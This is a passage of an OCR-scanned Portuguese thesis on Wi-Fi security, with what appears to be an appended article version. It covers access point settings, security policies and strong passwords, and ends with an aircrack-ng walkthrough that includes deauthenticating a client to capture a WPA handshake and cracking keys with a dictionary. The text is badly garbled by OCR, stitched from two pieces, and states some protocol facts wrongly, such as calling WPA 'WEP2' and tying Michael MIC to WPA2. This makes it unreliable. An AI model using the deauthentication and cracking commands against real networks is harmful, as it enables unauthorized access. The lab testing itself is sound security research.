WPA teste12345 03:28 Néo 52% Sim
WPA An@P@"!?&CI3d150n 12:04 Nao 100% Néo
WPA P8=3CK+?F=)t\8E 14:07 Sim 100% Néo
WPA 2 1234567891011 06:23 Nao 13% Sim
WPA 2 A1?7B2!c3 06:52 Néo 95% Sim
WPA 2 An@P@"!?&CI3d150n 11:25 Nao 100% Nao
WPA Mixed copadomundo 04:50 Néo 12% Sim
WPA Mixed  An@P@"!1?&CI3d150n 10:43 Néo 100% Néo

6.7 EVOLUCAO DOS EQUIPAMENTOS

Buscando uma tranqiiilidade maior para o usudrio em relacdo a sua rede sem fio
muitas inovacgdes surgiram. Entre eles novos protocolos, formas de criptografia, mas
inovacdes de hardware também foram necessarias, novos equipamentos foram desenvolvidos

para suportar essas evolucoes e trazer outras (MIY ANO NETO, 2004).

6.7.1 Access Points

Os Access Points, também conhecidos como centralizadores t€m suas
configuragdes pré-definidas na fabrica buscando trazer facilidade no momento de instalagao,
porém esta facilidade pode causar problemas posteriormente. As configuragdes realizadas
pelo fabricante ndo ativam os mecanismos de segurancga, tornando esta rede um alvo de facil

invasdo. Entdo a primeira atitude a ser tomada apds a configuragdao de uma rede € alterar as
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configuragdes de seguranga, para assim alcancar um nivel de seguranga mais confortavel
(COSTA, 2009).

A evolugao dos APs em relagcdo a hardware deu seu maior passo em 2004, quando
foi necessdrio a troca dos equipamentos para quem optasse por utilizar o novo protocolo, o
WPAZ2 ou 802.111, ja que na evolugado anterior onde o protocolo WEP passou por alteracoes e
se transformou em WPA apenas uma atualizacdo do software foi necessaria (MIYANO
NETO, 2004).

Comparando os APs atuais com os de alguns anos atrds € possivel observar a
evolucdo, buscando cada vez mais seguranca e comodidade do usudrio.

Entre as diversas opc¢des de seguranga estao:

a) WEP: alguns Access Points oferecem chaves de 64 até 512 bits, a ativacdo

deste protocolo € indicada apenas para equipamentos que nao suportam outras

formas de seguranca, pois apesar de contribuir para uma rede um pouco mais

segura, ndo fornece uma segurancga necessaria para que o usudrio fique tranqiiilo;

b) WPA: essa evolucdo do WEP estd disponivel em todos os APs ja que para

obter esse protocolo apenas uma atualizacido € necessdria. Esse protocolo fornece

uma garantia maior de seguranga para a rede, como vimos nos testes anteriores a

quebra das senhas que utilizam esse protocolo € mais dificil que no WEP;

c) WPAZ2: esse protocolo é encontrado em equipamentos fabricados a partir de

2004, que € a data em que iniciou a utilizacdo desta ferramenta. Esse protocolo é

uma das alternativas mais eficazes, desde que o usudrio escolha uma senha que

seja capaz de fornecer seguranca, que respeite as regras citadas no Item 6.3;

d) WPA2 Mixed: alguns equipamentos trazem essa op¢ao que encapsula os dois

protocolos (WPA e WPA2) visando permitir o acesso a rede computadores que

nao possuem acesso a0 WPA2. A Figura 64 mostra as opgdes de protocolos
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encontradas no AP em que os testes foram realizados, na Figura 65 pode-se
visualizar as opg¢des de protocolos de seguranca disponiveis no AP TP-LINK, para

que possa realizar uma observagao;

COMPUTERS S A

Configuracao de Seguranca Wireless

Esta padina permite configurar a seguranga wireless. Ative WEP ou WPA
usando chaves de criptografia para impedir todo 0 acesso desautorizado
a sua rede wireless.

== ATENCAO: Nao esquecer de aplicar suas modificacoes salvas! =

Criptografia:
I—j Configurar WEP I

& WEP G4bits

P, (TKIF)  WEP 128bits

PAZ(AES) 5  Enterprise (RADIUS)

PAZ Mixed & Pesgoal (Chave Pre-Shared)
Formato da Pre-Shared

) IF'assphrase VI

Key:
Chave Pre-Shared: Im
™ Ativar Pre-

Autenticagio

Porta |1812 IP
Autenticagao RADIUS: I Senha

MNota: Quando a criptografia WEF estiver selecionada, vocé deve
configurar a chave WEP.

Salvar I Restaurarl

Figlira 64. Opcdes de protocolos disponiveis no AP

L

Gtended Range™ and Super 11G™|

TP-LINK  108vWwirel s

108M

Wireless Router
aiainca SSID: | comp
TL-WRE41G / TL-WRE42G Region: I Brazil j
Warning: Ensure you select a correct country to conform local law.

Incarrect settings may cause interference.

Channel: I B s I

Mode: |1DBMhps (Dynamic) j

- Basic Settings -

* Wireless Settings
.

- Advanced Settings - v Enahle Wireless Router Radio

v Enable S5ID Broadceast
[~ Enable Bridges

[¥ Enahle Wireless Security

Security Type: I WEP j

--- Maintenance ---

i Security Option:
PAAP AL
WEP Key Format: PA-PSEAWPAZ-PSK

Figura 65. Opgdes de protocolos disponiveis no AP com a marca TP-LINK
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e) RADIUS: o Remote Authentication Dial In User Service uma forma de
criptografia que utiliza chaves com 128 bits reais, que filtra seus usudrios por meio
de um processo com usudrio e senha. Um grande problema encontrado nessa
op¢ao é que nem todos os equipamentos a disponibilizam (NAKAMURA; GEUS,
2003). Esse protocolo oferece acesso a redes com Autenticagdo, Autorizagao,

Contabilizacao (Authentication, Authorization e Accounting - AAA).

F I.ytec COMPUTERS S A

Configuracao de Seguranca Wireless

Esta pagina permite configurar a seguranca wireless. Ative WEP ou WPA
usando chaves de criptografia para impedir todo 0 acesso desautorizado
a sua rede wireless.

=+ ATENCAOQ: Nao esquecer de aplicar suas modificacoes salvas! =

Criptografia: s ==
I—:|Nenhuma = anfigurar |
C WEP 64bits

¥ Autenticacio 802.1x & WEP 128bits

Modo da Autenticacdo  Enterptise (RADIUS)

WPA: & Pessoal (Chave Pre-Shared)
Formato da Pre-Shared WZI
Key: P
Chave Pre-Shared: |“"""‘““*‘"‘“‘“‘“‘*
" Ativar Pre-
Autenticacio
Porta |1812
Autenticacio RADIUS: IP
Senha l—

Nota: Quando a criptografia WEF estiver selecionada, vocé deve
configurar & chave WEP.

Salvar | Restaurar |
Figura 66. Op¢des de configuracio RADIUS

d) firewall: este item de segurancga disponibiliza algumas op¢des de filtro de rede,
ou seja, sO permite a conexdo na rede de usudrios que se enquadrem nas
configuragdes realizadas no AP. As restricdes podem ser feitas por meio de filtro
de portas, de IPs, de endereco MAC, entre outros, dependendo dos recursos
disponibilizados pelo AP utilizado na rede. A Figura 67 e 68 mostra os recursos

disponiveis em dois APs, para que uma andlise possa ser realizada;
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Filtros IP

Estalabels & usada para raskingir bpos de pacoles de sua rade lacal para a
Intermnet afravés do gatewsy, O uso desses filros pode é 0Nl para restringir o
acessos de sua rede local.

4 ATENCAD: Hao esquecer de aplicar suas modificacoes sabvas! **

I Ativan Filtio IP
Endereco IP Local Protocolo Comentario

Salvar | Restaurar |
Talveda b Filtros:

Agagar Selacionado | Apacar Todos | Remwmrl

Figura 67. Op¢des de Firewall

w

TP-LINK  10svwirel ROUERietended Range™ and Super 11G™

108M
Wireless Router Firewall

Model No.:
TL-WR641G / TL-WRE42G

[ Enahle Firewall (the general firewall switch)

--- Basic Settings ---
* ¥ Enable IP Address Filtering

Default IP Address Filtering Rules:
--- Advanced Settings --- ¢ Allow the packets not specified by any filtering rules to pass thraugh the router

@ Deny the packets not specified by any filtering rules to pass through the router

* Firewall
irewa [¥ Enable Domain Filtering

[# Enable MAC Address Filtering
Cefault MAC Address Filtering Rules:
¢ Allow these PCs with enahled rules to access the Internet

& Denythese PCswith enabled rules to access the Internet

--- Maintenance ---

* Save |

Figura 68. Opcdes de Firewall no AP com a marca TP-LINK
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e) controle de banda: essa opcdo permite que sua banda seja dividida entre os
usudrios com acesso permitido em sua rede. Essa restri¢do pode ser realizada por

IP, por interface ou por MAC como mostra a Figura 69;

F I.yte CONMPUTERS S.A

mfi 25

Controle de banda por Interface/IP/MAC

MOTAS: O controle de banda por Interface term prioridade sobre o contrale por IP.
Qu seja, para ativar o contrale de handa por IP, o controle de banda por Interface

deve estar DESATIVADO.

Quando em modo de operagdo BRIDGE, a interface ethi serd considerada WARN.

Esta ferramenta possihilita limitar a banda por Interface, IP efou MAC

“* ATENCAQ: Nao esquecer de aplicar suas modificacoes salvas! **

Limite de Banda por Interface  Ativado % pesativado
Saida da Interface LAN 0 kbps
Saida da Interface WAN o Kkbps 7=
Salvar Limpar |
" Ativar Grupos de QoS
1D do Grupe Saida LAN Saida WAN Comentario
I kbps kbps
Salvar | Limpar |

Tabela de Grupo atual:

Apagar selecionado | Apagar tudo | Limparl

Figura 69. Controle de banda no AP

J) Ocultar o SSID: € uma das opg¢des de seguranga disponiveis nos APs. Cada
fabricante utiliza um valor default, mas a primeira acdo do usudrio apds a
instalacdo € alterd-lo para um valor dificil de ser desvendado. Optando por

desativar essa opcdo apenas usudrios que conhecem a rede podem realizar a

conexdo. A Figura 70 mostra as opg¢des disponibilizadas pelo AP.
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nfi

=+ ATENCAOQ: Nao esquecer de aplicar suas modificacoes salvas!

Configuracées Avancadas de Wireless

Estes ajustes sdo somente para Usuarios tecnicamente avangados, que
tenham conhecimentos suficiente sobre wireless. Estes ajustes ndo
devern ser alterados a menos que vocé tenha conhecimento dos efeitos
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Figura 70. Ocultar SSID no AP

6.8 POLITICAS DE SEGURANCA

O uso de politicas de seguranca em organiza¢des tem uma grande importancia e

estd diretamente relacionado ao nivel de protecao da sua rede, pois é por meio delas que sdo

definidas as questdes de seguranca das informagdes que ali trafegam.

2

E necessdrio analisar o custo beneficio causado pela politica de seguranca, bem

como se suas regras nao interferem de forma significativa na produtividade dos usudrios, pois

uma seguranca total ndo pode ser alcangcada, mas uma andlise do risco € um papel

fundamental (NAKAMURA; GEUS, 2003).

Segundo Wadlow (2000) algumas a¢des importante para garantir a seguranga de

uma rede organizacional sdo:
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a) sempre requisitar autenticacdo do usudrio, para que o administrador tenha as

informacdes de acessos realizados;

b) o acesso ao sistema de um ex-funcionario deve ser eliminado imediatamente;

¢) os usudrios nao devem conhecer as caracteristicas de seguranga da rede;

d) deve-se deixar bem claro o que estad sendo protegido;

e) a contratacdo de novos funciondrios exige cuidados, um funciondrio com ma

intensdo pode por a perder toda a seguranca da rede.

Uma estratégia bem proveitosa que deve ser tomada € oferecer cursos, palestras e
treinamentos para habilitar os usudrios, e conscientizd-los da importancia de preservar a
seguranca da rede, medidas preventivas sdo muito mais proveitosas e sdo a forma mais
indicada quando o assunto é seguranca, pois os prejuizos causados por um ataque podem ser

incalculaveis.

6.9 RESULTADOS OBTIDOS

Por meio da pesquisa desenvolvida e dos testes realizados pode-se observar a
fragilidade do protocolo WEP, que mesmo utilizando senhas bem elaboradas tem suas chaves
quebradas facilmente com a utilizagdo de ataques de forca bruta. Com isso, deve-se sempre
que possivel evitar o uso desse protocolo, independente de a chave ser de 64 ou 128 bits, para
evitar que suas vulnerabilidades comprometam a seguranca da rede.

O protocolo WPA e WPA?2 tém um nivel de seguranca bem mais elevado, porém
o usudrio deve explorar sua capacidade de aceitar senhas mais longas como forma de
dificultar sua quebra. Nos testes realizados com esses protocolos pode-se observar que as

senhas que resistiram aos ataques sdo senhas mais extensas e elaboradas, como uma mistura
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de um maior nimero de chaves. Porém deve-se levar em conta que a quebra da chave WPA e
WPAZ2 depende do diciondrio utilizado.

As senhas devem ser criadas com o intuido de que sejam o mais forte possivel,
pois elas sdo a chave que aumenta de forma significativa a seguranca do usudrio e dos dados
que ali trafegam. Os usudrios devem ter a responsabilidade de cuidar de uma forma especial
do armazenamento dessas chaves.

Todas as opc¢des de seguranca disponiveis no AP devem ser utilizadas, como
forma de buscar uma rede mais segura. Na hora da compra desse aparelho os aspectos de
seguranca devem ser analisados. As configuracdes devem ser bem feitas, bem como as
alteracdes das opg¢des de seguranca que existem em modo default.

Uma politica de segurangca bem feita também é muito importante em casos de
organizacoes, os usudrios devem estar cientes das regras e normas para que as informagdes
possam ser preservadas e também devem conhecer a importancia do cumprimento dos itens
da politica.

Sabe-se que uma rede completamente segura ndo existe, porém se todos os itens
citados forem respeitadas e seguidos o nivel de seguranca serd muito elevado, e assim um

equilibrio em relacdo a seguranca da rede sera obtido.
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CONCLUSAO

A pesquisa realizada apresentou algumas vulnerabilidades encontradas em redes
sem fio, e por meio de testes mostrou as fragilidades e as falhas encontradas no protocolo
WEP, WPA e WPA2, bem como uma forma de prote¢do por meio de senhas seguras.

Novas formas de protecao vém surgindo para tentar suprir as falhas que existem
nos protocolos anteriores, mas acompanhando essa evolucdo novas vulnerabilidades vém
sendo descobertas. Para que isso ndo comprometa a utilizacdo das redes sem fio, os usudrios
devem estar atentos e aplicando todas as formas de seguranca possiveis em sua rede.

Também pode ser observada a importancia das opgdes de seguranga
disponibilizada pelos Access Points, pois eles oferecem diversas formas de aumentar a
seguranca das redes, que devem ser observadas no momento da compra, que se utilizadas
corretamente podem diminuir as vulnerabilidades que este tipo de rede esta sujeita.

As organizacdes devem sempre almejar por uma rede mais segura, cada vez mais
ativando formas de protecdo, treinando e conscientizando funciondrios, para assim proteger
seus dados e seu patrimdnio. Também pode ser visto a importancia das politicas de uso, onde
os usudrios da rede devem saber e entender seus deveres, pois ndo adianta tomar cuidado na
criacdo de senhas seguras e possibilitar que usuarios mal intencionados tenham acesso a elas.

Uma atengdo especial foi dada para as senhas, pois elas podem ser uma forma
muito eficaz de evitar ataques as Wireless, pois € uma tarefa muito dificil garantir a seguranca
de informacdes que trafegam pelo ar. Senhas fortes exigem atencdo do seu criador, pois
necessita que vdrias caracteristicas sejam exploras, para dar origem a chaves que realmente
podem ser mais resistentes a ataques. Sendo assim o usudrio deve se empenhar e aplicar as

sugestoes dadas neste trabalho buscando aumentar o nivel de seguranca da rede.
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Sugere-se para trabalhos futuros que outras vulnerabilidades e formas de protecdo
sejam estudadas e sugeridas, trazendo mais informacdes e opcdes para os usudrios dessas
redes. Alguns estudos podem ser realizados sobre RADIUS, trazendo mais informagdes e os

beneficios alcangados com a utiliza¢do desta op¢ao de criptografia.
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Abstract: The internet users more and more choose to use wireless networks,
searching comfort and flexibility. The wireless can be found as many as in the
corporate environment and in household. The evolution of technology directed to
mobile devices with Internet access was who gave great stimulus to this change. But
problems related to information security were found and simple ways to use strong
passwords can provide a more stable level of security to the user.

Keywords: Wireless Networks, Security, Passwords..

Resumo. Os usudrios de Internet cada vez mais optam pelo uso das redes sem fio,
buscando comodidade e flexibilidade. As wireless podem ser encontradas tanto no
meio corporativo quanto no uso doméstico. A evolucdo da tecnologia voltada para
dispositivos moveis com acesso a Internet foi quem deu grande estimulo para essa
mudanca. Mas problemas relacionados a segurangca das informacoes foram
encontrados, e formas simples como utilizagdo de senhas fortes e pode proporcionar
um nivel de seguranca mais estdvel para o usudrio.

Palavras-chave: Redes sem fio; Seguranca; Senhas.

1. Introducao

A utilizacdo das redes sem fio estd em expansdo. Cada vez mais 0os usudrios optam por este
tipo de conexao, buscando comodidade e flexibilidade, e com o surgimento de equipamentos
como Notebooks, celulares e outros, alguns estabelecimentos como bares, aeroportos,
shoppings, estdo investindo na implantacao de redes sem fio, para que seus clientes tenham

acesso a informacdo como se estivessem em casa, buscando a satisfacdo e a fidelizagcdo
(KUROSE; ROSS, 2006).

A facilidade na implantacdo desta rede em relacdo as cabeadas é um ponto positivo
para a instalacdo das mesmas tanto em meios corporativos como domésticos. Sem a
necessidade de passagem de cabos este modelo acaba se tornando uma op¢ao mais rdpida. A
flexibilidade € outra vantagem encontrada, sendo possivel alterar ou adicionar estagdes na
rede sem a necessidade de modificar o cabeamento (TANENBAUM, 1997).

A seguranca é um ponto negativo encontrado nessas redes, pois o aumento da
utilizagdo deste modelo tornou os usudrios alvo de pessoas mal intencionadas, onde estas
buscam causar alguma instabilidade na rede, explorando vulnerabilidades encontradas como
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configuragdes mal feitas em Access Points e senhas fracas. A utilizagdo de senhas seguras é
uma das formas de aumentar o nivel de seguranca das redes, acompanhada de configuracdes
adequadas dos Access Points no momento da instalacdo dos equipamentos utilizados na rede.

2. Redes sem Fio

O crescimento das redes sem fio vem acontecendo de forma explosiva em todo mundo. Ha
algumas décadas a Internet era projeto de pesquisa, envolvia apenas dezenas de sites. Porém,
seu crescimento foi estonteante e se tornou instrumento essencial na vida das pessoas, milhdes
de sites ja existem fornecendo servicos e lazer para pessoas de todas as partes do mundo
(COMER, 2001).

Os usudrios desta ferramenta tém necessidade de informacao e buscam cada vez mais
comodidade e flexibilidade, com isso houve um grande aumento na procura de equipamentos
moveis, como resultado essas ferramentas se tornaram mais populares e de facil aquisi¢ao,
porém para tornarem-se completamente portaveis ha a necessidade da utilizagdo de redes sem
fio (TANENBAUM, 1997).

As redes sem fio oferecem a seus usudrios mais comodidade e mobilidade que as redes
cabeadas, porém a preocupagdo com segurang¢a deve ser muito maior, j& que seus dados
trafegam por ondas eletromagnéticas por meio do ar.

A principal preocupacido dos usudrios estd na configuracdo dos equipamentos € na
escolha das senhas utilizadas, uma boa politica de seguranca também € importante, ja que
nelas sdo encontradas informagdes importantes para a saide da rede, sendo elas direitos e
deveres dos usudrios, e algumas regras impostas pela organizacao.

3. Vulnerabilidades em redes sem fio

Este modelo de rede exige de seus usudrios um cuidado maior que as cabeadas, pois acabam
sofrendo os mesmos ataques encontrados nas redes cabeadas e alguns especificos foram
inseridos (KUROSE; ROSS, 2006).

Apesar de os usudrios estarem cada vez mais preocupados com a seguranca de suas
informacdes, e os fabricantes investirem cada vez mais em novas tecnologias para deixar seus
equipamentos mais seguros, a realidade é que ndo existem redes completamente seguras, mas
sim redes mais protegidas e dificeis de atacar.

Os ataques as redes sem fio geralmente ocorrem quando uma vulnerabilidade é
explorada, juntamente com falhas nos fatores fundamentais da rede, como integridade e
confiabilidade, sendo que alguns taques podem ser vistos na Tabela 1.

Tabela 2. Alguns ataques existentes para rede sem fio

Ataque Descricao

Ataque de forca bruta | Tem como objetivo desvendar a chave da rede com base em tentativas,
usando uma forma dedutiva até que a senha real possa ser encontrada.

Ataque de dicionério Desvenda a senha com aucxilio de um arquivo de texto, também
conhecido como wordlist, realizando a comparagéo da palavra existente

no arquivo com os dados coletados nos pacotes que trafegam na rede.

Ataque de Vigilancia Tem caréter passivo, analisa os dados da rede para futuros ataques.

MAC Spoofing O atacante realiza a troca da identificacdo da sua placa de rede pela do

atacado, assim podendo usufruir dos recursos disponibilizados pela rede.
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Algumas ferramentas também podem ser utilizadas para ataques nas redes, esses
softwares realizam a identificacdo da rede, capturam dados que ali trafegam e também
realizam os ataques para desvendar as chaves. A Tabela 2 mostra algumas informacdes sobre
algumas dessas ferramentas.

Tabela 2. Ferramentas para ataques a rede sem fio

Ferramenta Descricao

Aircrack Um pacote de ferramentas com alguns softwares responsaveis pela captura

dos pacotes que trafegam na rede e pela quebra da chave utilizada.

Kismet Software responsavel pela identificacdo e captura de pacotes que trafegam na

rede, sendo necessario um outro software para que a chave seja desvendada.

WEPcrack Captura dados importantes para que possam ser realizados futuros.

FakeAP Este € um programa capaz de transformar um dispositivo de rede sem fio em
um Access Point, falsificando algumas caracteristicas que fazem com que o

usudrio pense estar conectado ao concentrador correto.

Os usudrios devem utilizar algumas ferramentas e métodos para proteger sua rede
dessas e outras vulnerabilidades existentes.

4. Seguranca em redes sem fio

Cada vez mais a informadtica é vista como aliada da evolucdo econdmica. Muitas empresas
véem nessas ferramentas uma forma de tornar o trabalho de seus funciondrios mais fécil e
rapido, assim tornando seu negdcio mais competitivo (NAKAMURA, 2008).

As redes sdo fundamentais neste processo, tornando possivel a ligacdo entre esses
computadores. Sendo que as sem fio possuem um grande diferencial em relagdo as cabeadas,
pois esta disponibiliza mobilidade e assim permite que 0s usudrios possam encontrar mais
liberdade no trabalho enquanto usam a rede e como resultado acabam produzindo mais e
gerando mais lucros para a organizacio (NAKAMURA, 2008).

Com o aumento do interesse dos usudrios em relacao as conexdes sem fio teve-se que
aumentar as ferramentas para diminuir as vulnerabilidades que estas redes estdo expostas.
Uma das formas de manter uma rede segura esta em prevenir os ataques, ja que sua drea
vulneravel € bem maior que a das redes cabeadas por ultrapassar o espago fisico, e com isso a
dificuldade de controle de invasores € bem maior (RUFINO, 2005).

Segunda Sémola (2003) algumas medidas de seguranca devem ser tomadas para evitar
ataques, elas podem ser vistas na Tabela 3.

Tabela 3. Medidas de Seguranca

Medidas de Seguranca Descricao

Preventivas Visam prevenir que ataques venham a ocorrer, para isso sdo
realizadas palestras, treinamentos, entre outros.

Detectéveis Analisam os focos que podem estar causando as ameacas.

Corretivas Correcéo das estruturas buscando que se adaptem a politica da

Organizagao

Uma forma de aumentar a seguranca dos dados que trafegam na rede € utilizando a
criptografia. Com esta forma de protecdo o trifego de dados na rede € feito sem uma
combinacdo 16gica, tornando impossivel seu entendimento imediato, assim se for atacado o
invasor ndo terd acesso ao seu conteddo.
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O objetivo de se realizar a criptografia computacional € buscar:
a) sigilo dos dados: onde somente usudrios autorizados possam ter acesso;
b) integridade: garantindo ao usudrio que a informacao esta esta correta;

c¢) identidade do usudrio: onde o sistema pode verificar a identidade do usudrio ou do
dispositivo que esta em contato.

Alguns protocolos de criptografia sdo utilizados para aumentar a seguranga das
informacdes em redes sem fio o WEP, o WPA e o WPA2, a ativacdo de um deles no Access
Point é simples, porém é muito importante para aumentar o nivel de seguranca da rede.

4.1. Protocolo WEP

Este protocolo foi criado em 1999, utiliza algoritmos simétricos para realizar a cifragem de
seus dados, sendo assim a chave deve ser compartilhada com todas as estagdes de trabalho e
com o Access Point.

O protocolo WEP atua na camada de enlace, usa o algoritmo de criptografia Ron’s
Code 4 (RC4), seu vetor de inicializacdo (IV) € de 24 bits e sua chave secreta compartilhada
(secret shared key) € de 40 ou 104 bits, assim somando o IV com a chave secreta tem-se a
chave de 64 ou 128 bits, o algoritmo Cyclic Redundancy Check (CRC-32) atua em conjunto e
¢ utilizado para fornecer integridade quanto aos pacotes.

Um problema encontrado neste protocolo é que ele apresenta vulnerabilidades e por
aceitar chaves com combinag¢des pequenas de caracteres pode ter sua senha desvendada com
facilidade utilizando um ataque de diciondrio.

4.2. Protocolo WPA

Também conhecido como WEP2, foi criado em 2003 buscando corrigir vulnerabilidades
encontradas no protocolo anterior. Esta versao € disponivel para todos os equipamentos que
continham o protocolo WEP, pois apenas uma atualizacdo de software é necessaria.

O protocolo WPA continua utilizando o algoritmo RC4, porém algumas melhorias
foram encontradas como:

a) vetor de inicializa¢cdo maior;

b) utilizacdo de um novo cédigo de verificacao de integridade das mensagens (IV);

c¢) gerenciamento de chaves;

d) modo de autenticagc@o corporativo e pessoal (doméstico).

Este protocolo ainda apresenta algumas vulnerabilidades, mas por exigir que suas
senhas tenhas mais que oito caracteres torna suas chaves bem mais resistentes a ataques que o
protocolo WEP.

4.3. Protocolo WPA2

O protocolo WPA2 ou 802.111, foi lancado em 2004 com a proposta de extinguir os
problemas encontrados nos protocolos anteriores. Este tem como diferencial utilizar o
algoritmo de criptografia Advanced Encryptation Standart (AES) e o Temporal Key Integrity
Protocol (TKIP) em conjunto, com uma chave de 256 bits, e com essa chave mais extensa
torna este padrdao mais eficiente. Este protocolo permite a utilizagdo de chaves de 128, 192 e
256 bits. A certeza da integridade das mensagens € obtida por meio do algoritmo Michael
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Message Integrity Check, que analisa se algum fator pode ter interferido na autenticidade da
mensagem.

A vulnerabilidade estd ligada ao tamanho da chave utilizada pelo usudrio, da mesma
forma que o WPA, se as senhas forem pequenas podem ser facilmente desvendadas por
ataques de diciondrio.

5. Senhas seguras

Uma das formas utilizadas para que a seguranca em uma rede sem fio seja mais robusta € a
utiliza¢do de senhas fortes, mas um significativo nimero de pessoas nao sabe escolher ou ter
os cuidados bdsicos para que a senha se torne a chave da sua seguranca (WADLOW, 2000).

A criagdo de uma senha segura depende do bom senso do seu criador, levando em
conta que ha alguns anos uma senha segura era composta por seis digitos, mas essa realidade
mudou, com auxilio da evolugado tecnoldgica muitas técnicas foram desenvolvidas e esse tipo
de senha pode ser desvendada em poucos segundos, a indicacdo feita hoje € que as senhas
tenham no minimo 8 caracteres.

Segundo Alberto (2006) senhas que realmente sdo chaves de seguranca somente sao
obtidas com a combinagao de alguns fatores citados a seguir:

a) Nao utilizar dados pessoais;
b) Dados que possam ser desvendados facilmente incluindo enderecos, placa do
carro, nimero de documentos também sao alvo facil;

¢) Nunca anote senhas em papéis, agendas ou algum lugar que outras pessoas possam
ter acesso;

d) Senhas criadas a partir de palavras existentes em diciondrios, tanto nacionais quanto
estrangeiros podem ser desvendadas com ataques de diciondrio;

e) Nao utilizar senhas com apenas um tipo de caractere;
f) Nunca utilizar seqiiéncias de digitos do teclado;

g) Nao utilize a mesma senha em lugares diferentes;

h) A troca das senhas deve acontecer regularmente;

Para auxiliar o usudrio na escolha de suas senhas algumas técnicas podem ser
utilizadas, e serao descritas na Tabela 4.

Tabela 4. Técnicas para criaciao de senhas

Técnica Descricao

Geometria do teclado Essa técnica pede que o usuario olhe para o teclado e imagine uma
figura, entdo aperte as teclas correspondentes as linhas da figura.

Senhas pronunciaveis Utiliza palavras que sao pronunciaveis, mas que ndo existem em
nenhum diciondrio, tanto nacionais, quanto estrangeiros.

Caracteres “Alt” Caracteres gerados quando se pressiona a tecla ALT e uma outra tecla,
dando origem a um caractere especial que ndo esta exposto no teclado.

Palavras em Conjunto | Realiza a juncdo de varias palavras pegando trechos diferentes de cada
uma.

Geradas por software | Utiliza softwares disponiveis para que a senha seja criada, porém deve-
se ter cuidado com esse tipo de senhas, pois por ndo ter nenhuma
ligacdo com o usuario pode ser dificil lembra-la.
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6. Analise da seguranca em redes sem fio

Algumas anélises fora realizadas utilizando os protocolos disponiveis em redes sem fio, sendo
eles WEP, WPA e WPAZ2. Para isso foi utilizado o Aircrack-ng, que € um pacote de softwares
responsaveis pela captura e quebra de chaves. Essas quebras sdo realizadas por meio de
ataque de diciondrios e ataque de forca bruta.

Para que a execucdo dos testes um ambiente foi projetado para que a captura dos
pacotes pudesse ser feita sem apresentar riscos as redes encontradas ao alcance dos
equipamentos, como pode ser observado na Figura 1.

Atacante

Usuario

Figura 1. Ambiente utilizado para realizacao dos testes.

O primeiro passo para a realizacio dos testes € capturar os dados referentes a rede por
meio do comando “iwlist scan” inserido no terminal.

Na seqiiéncia utilizando o Airmon-ng, um dos softwares disponiveis no pacote
Aircrack-ng, deve-se colocar a interface em modo monitor, utilizando o comando “airmon-ng
start <nome da interface>".

A captura dos pacotes que trafegam na rede também ¢ realizada utilizando o
Airodump-ng, por meio do comando ‘“‘airodump-ng --channel 6 — w nomedopacote.cap
mon(”. Esses dados serdo responsaveis pelas informagdes necessdrias para que a senha possa
ser desvendada, no caso do protocolo WEP de 64 bits devem ser capturados aproximadamente
25.000 pacotes, e para os outros protocolos € indicado a captura de aproximadamente 50.000
pacotes.

A captura dos pacotes depende do fluxo de dados que estdo trafegando na rede, ou
seja, quanto mais pacotes estdo sendo enviados e recebidos mais rdpido serd a captura dos
pacotes necessdrios para que a tentativa de quebra possa ser realizada.

A Figura 2 mostra a captura dos pacotes sendo realizada em rede que utiliza o
protocolo WEP.

root@testes-laptop: -~
Arquive Editar Mer Terminal Ajuda

CH 11 1[ Elapsed: 52 s ][ 2818-085-28 15:22 ][ Decloak: ©8:1E:58:14:9C:B6

BS5ID PR RO Beacons #FData, #/s5 CH MB ENC CIPHER AUTH E
aa:1E:58:14:9C: Bb -63 lasa 517 234 26 11 54 . WEP WEP v]
BSSID STATION PR Rate Lost Packets Probes
80:1E:58:14:9C:B6 B4:82:FE:53:41:16 a a8 -54 a 15
O0:1E:58:14:2C:B6  00:1A:73:A6:C4:06 -41 54 -54 a 429

Figura 2. Captura dos pacotes utilizando o Airodump-ng com a presenca do WEP
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Em capturas que os protocolos WPA e WPA2 estdo presentes é necessario a captura
do handshake, que é uma espécie de acordo de comunica¢do dos equipamentos, onde esta
armazenada a criptografia utilizada na rede. Essa informacdo é obtida por meio do comando
“aireplay-ng -0 5 -a MAC do AP -¢c MAC do cliente <interface>" inserido em outro terminal
aberto no momento em que a captura dos pacotes estd sendo realizada. Este comando forga o
usudrio a fazer novamente a autentica¢do na rede, permitindo que a chave fique registrada nos
pacotes que estio sendo capturados.

A Figura 3 mostra a captura de pacotes com o protocola WPA e o handshake ja
capturado.

root@testes-laptop: ~ |= O] %]
Arquiva  Editar Ver Terminal Ajuda
[t 11| 11 Elapsed: 9 mins 10 2818-85-29 11:36 [ WPA handshake: ©0:0F:2E:82:13:84
B55ID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
B9:6E:2E:B2:13:84 -63 le@ 5518 6781 8 11 54| WPA TKIP  PSK tocWP
BSSID STATION PWR Rate  Lost Packets Probes

BB:BE:2E:B2:13:84 60:1A:73:A6:C4:D6 -45 54 -24 8 1T28  TocWPA

Figura 3. Captura dos pacotes utilizando o Airodump-ng com a presenca do WPA

Apds a captura dos pacotes a tentativa de quebra pode ser realizada utilizando o
software Aircrack-ng inserindo o comando no terminal, no caso de quebra de chaves que tem
a protecio WEP deve-se inserir o cddigo ‘“‘aircrack-ng nomedopacote.cap”, que efetua a
quebra por meio de ataque de forca bruta. Em caso de chaves que utilizam os protocolos
WPA e WPA2 o comando a ser inserido é ‘“aircrack-ng -w nomedodicionario
nomedopacote.cap’.

A Figura 4 mostra a tentativa de quebra com sucesso de uma chave WEP de 128 bits,
onde a chave foi desvendada em apenas sete segundos.

root@testes-laptop: - o=
Arquivo  Editar  Wer Temminal Ajuda

Aircrack-ng 1.8

[00:00:07] Tested 523447 keys (got 4BBST IVs)

KB dapth  bytei{vats] -
[ 8 1 310(796506) D4061440) C40506506) 12(55552) 44[55352)
1 B/ 1 32(62464) DO(SBH3D) 92(5B624) IT(5657T6) 23(56064]
2 8¢ 1 3365536} AF(59904) B2(5B624) T7(57344) EG(56320)
3 8 1 3d[62464} 1E(SBISE) FA(55552) BE(55B8d4&) EB{55048)
4 @ 350681601 S805%448) G7(5T60A) BE(STOES) CE[ST708E]
3 8¢ 1 30(66%60) S6057334) BAIS0576) GB(3657G) B1{56376)
L] B¢ 3 BAI58624) 10(57600) GCI5TEE0) DA(STEREB) B3[5657G6]
T 8y 1 38165792} D1(61184) AD(SEBG64) Da{35552) E1[3555Z)
a a8 1 3965536} O7(57856) 2C(56064) EX(S5B88) 2&[55296)
